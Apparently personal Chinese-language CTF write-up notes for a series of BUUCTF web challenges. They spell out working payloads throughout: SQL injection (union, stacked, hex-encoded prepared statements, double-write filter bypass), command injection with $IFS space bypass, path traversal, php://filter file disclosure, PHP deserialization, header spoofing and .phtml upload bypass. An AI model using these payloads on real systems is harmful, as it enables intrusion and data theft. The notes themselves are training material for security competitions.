EasySQL
采用SQL注入得万能语句
1' union select 1,2,database()
# 万能公式
1 and 1=1
1' and '1'='1
1 or 1=1
1' or '1'='1
Havefun
打开靶机后看到得时一个猫
发现没有按钮点击也没有什么反应
查看源码发现
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
在$_GET 是 PHP 中预定义的变量,包含了通过 GET 方式提交的信息。
在cat==dog处发现类似flag得内容,尝试在页面后输入/?cat=dog
获取flag
WarmUp
打开网页后,只有一个滑稽图,然后查看源码
通过源码发现存在一个source.php
访问后,出现一段PHP代码,进行代码审计,
查看checkFile中第一个if判断,即根据白名单,判断$page是否在白名单中,是否为空以及是否为字符串,第二个if依然是判断$page是否在白名单中,
这是输入source.php?file=hint.php 发现页面发生了变化
flag not here, and flag in ffffllllaaaagggg,发现存在flag的文件
这时再往下看发现接下来的判断会对参数的?作为截取,
source.php?file=hint.php../../../../../ffffllllaaaagggg
发现这样输入,包含的文件就是ffffllllaaaagggg,而不是hint.php
source.php?file=hint.php?../../../../../ffffllllaaaagggg
此时,根据?截取,判断的参数就为hint.php,文件在白名单之内,且页面输出flag
include
文件包含,点击后出现一个tips,再往下发现一句话,但是文件名是flag.php
然后结合文件包含,flag应该在flag.php中,但是在点击得时候自动执行了
/?file=php://filter/read=convert.base64-encode/resource=flag.php
获取flag得加密,解密后获得flag
https://blog.csdn.net/weixin_53912233/article/details/126801617
Exec
打开页面后,发现是PING页面,输入命令ping 127.0.0.1,发现有回显
输入Linux Exec命令,ping 127.0.0.1 ||/|/&/&& ls
发现回显,列出当前目录下的文件
将命令更改为,ls /
在根目录下,发现了flag
将命令修改为 cat /flag
获取flag
ping ping ping
根据题目描述,提示命令后加入127.0.0.1,构建payload /?ip=127.0.0.1
发送后发现存在回显,
尝试payload /?ip=127.0.0.1|ls
获取回显信息
flag.php
index.php
尝试读取flag.php,根据网上的payload构建方法
/?ip=127.0.0.1|cat$IFS$9flag.php
发现不一样的回显
将flag.php修改为index.php
/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
发现了正则匹配法则
根据匹配法则,修改payload/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b&a.php
在源码注释中发现flag
随便注
SQL中的堆叠注入,语句以‘;’隔开
payload 1;select *
回显显示,对一些常用的sql命令进行了禁止
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1';show tables;
回显无意义
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
payload 1';show columns from '1919810931114514';
1';show columns from `1919810931114514`;
payload ';SET@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
“ SET@a= ”这是定义变量这个变量是@a,后面的 “0x73656c656374202a2066726f6d20603139313938313039333131313435313460” 这是select * from 1919810931114514的十六进制,目的是绕过过滤
prepare execsql from @a;execute execsql;
PREPARE语句用于预备一个语句,并指定名称statement_name,以后引用该语句。语句名称对大小写不敏感。preparable_stmt可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。该文本必须表现为一个单一的SQL语句,而不是多个语句。在这语句里,‘?'字符可以被用于标识参数,当执行时,以指示数据值绑定到查询后。‘?'字符不应加引号,即使你想要把它们与字符串值结合在一起。参数标记只能用于数据值应该出现的地方,而不是SQL关键字,标识符,等等。
如果预语句已经存在,则在新的预语句被定义前,它会被隐含地删掉。
Easysql
联合查询,时间盲注,布尔盲注,堆叠注入
首先输入1后,发现有回显
payload:1;show databases;
发现回显内容,确定是数字型注入
1;showtables
回显看到flag字样,下面就是如何读取
根据wp中,得到以下参数
1.非零数字有回显,0没有回显,说明里面应该有'||'这样的字符
2.题目一定有方法让我们查到flag,所以内置语句应该是这样:select (输入的数据)||flag from Flag;
除此之外,以下操作也可
利用sql_mode(它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 "或" 运算符)来改变'||'的作用,从运算符变成连接符,之后输入1就查询语句就是这样的:select 1,flag from Flag,就能够同时查出1和flag的数据
payload:
猜想2
sql=“select”.post[‘query’]."||flag from Flag";
pauload:*,1
原理是当$post[‘query’]的数据为*,1时
sql语句就变成了
select *,1||flag from Flag
也就是select *,1 from Flag
这就可以直接查询到Flag表中的所有内容了
payload:1;set sql_mode=pipes_as_concat;select 1
pipes_as_concat能将 || 视为字符串的连接操作符而非或运算符
所以实际执行的sql语句就变成了
select 1;set sql_mode=PIPES_AS_CONCAT;select "1"+flag from Flag
[极客大挑战 2019]Secret File
打开靶场,发现页面没有任何信息
但是在源代码中发现
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
进入到文件后,点击按钮后,进入到可以进入的最后一个界面
发现提示太快了,直接抓包,发现注释了一个secr3t.php
进入到该文件后,发现隐藏在flag.php中,
但是根据php,发现对某些字符有些限制。
根据wp构建payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
然后获得一组base64加密
然后解密后,发现flag
[极客大挑战 2019]LoveSQL
采用万能密码
用户名:1' or 1=1#
密码:123(随便输)
获得用户密码
e828427c3e78e52b90575482950d0257
解密没有获得有用信息
/check.php?username=1' union select 1,2,3%23&password=1
看到有3个
/check.php?username=1' union select 1,database(),version()%23&password=1
Hello geek!
Your password is '10.3.18-MariaDB'
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
Hello 2!
Your password is 'geekuser,l0ve1ysq1
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
Hello 2!
Your password is 'id,username,password'
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
Hello 2!
Your password is ‘1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{58b495e3-703b-496c-868f-dc1dc2fa806f}’
[极客大挑战 2019]Http
首先进入页面后,发现页面没有任何注入点
然后查看源码,发现一个指向secret.php
打开后,发现要加Referer:https://Sycsecret.buuoj.cn
burp抓包后修改
然后又加User-Agent为"Syclover" browser
然后又要求从本地
则添加X-Forwarded-For :127.0.0.1
robots.txt
[ACTF2020 新生赛]Upload
看到上传,要求上传文件,但是抓不到上传的包
应该是前端的问题
在源码中找到了checkfile()
删除后上传,还是不行
应该是后端进行的过滤
修改后缀为phtml,上传成功
根据上传路径,找到flag
[极客大挑战 2019]BabySQL
典型的SQL注入
先试一下万能密码,提示错误
试一下select
?username=admin&password=pwd %27 union select 1 %23
发现提示错误,只保留了1# 意味着对union 和 select做了过滤
执行双写union和select,这是防止它采用的replace函数,替换掉union和select
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
这是反馈列数不对
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
这条语句就返回了2用户,密码是3 列数第三列为对的
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23
爆破出2 password为geek
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23
继续修改第三列的信息,这时payload爆出information_schema,mysql,performance_schema,test,ctf,geek
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name=“Flag” %23
看见where,也是sql语句,查找
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23
PHP
首先打开网页后,没有看到相关有用的信息
然后根据上面的语句,应该是要与备份网站有关,常见的备份文件名.git .svn .swp .~ .bak .bash_history
采用dirsearch进行扫描:python .\dirsearch.py -u http://2ac92ac5-651a-46db-aba9-bcf310d0e518.node4.buuoj.cn:81/ -e php
没有看到相关内容,但是找到一个www.zip,感觉有可能
下载下来后,解压后,发现一个flag文件,然后发现里面的flag是假的
然后接下来打开class.php,发现echo flag,但是直接输入不可以,前面需要绕过_wakeup(),函数
查看index.php发现有一个unserialize(@$select),结合上面的包含includ<class.php>
结合_wakeup(),函数应该是需要进行序列化和反序列化
构建序列化对象
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
payload: /?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
# 变量及对象类型参考
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
https://zhuanlan.zhihu.com/p/366455343
[ACTF2020 新生赛]BackupFile
寻找index.php,没有内容
然后找index.php.bak,显示下载
下载后,看判断部分
payload:/index.php?key=123
[RoarCTF 2019]Easy Calc
/calc.php? num=phpinfo()
看到php版本的回显,可以看出这个是可以执行的
注意? num=,这是有一个空格的,这是因为php语言,在对‘ num’进行处理时
会变成num进行处理,非法字符传入。
? num=var_dump(scandir(chr(47))) 等价于 ? num=system(ls /)
file_get_contents(/f1agg) => file_get_contents(/f1agg) 等价于? num=system(cat /f1agg)
/calc.pho? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
[极客大挑战 2019]BuyFlag
在buyflag中找到了一个判断函数,发现需要password == 404
payload ‘404 ’
然后在应用中,需要将user数值改为1,这时就是CUIT了
然后还有一个数值,钱需要过滤
payload password=404%20&money[]=abc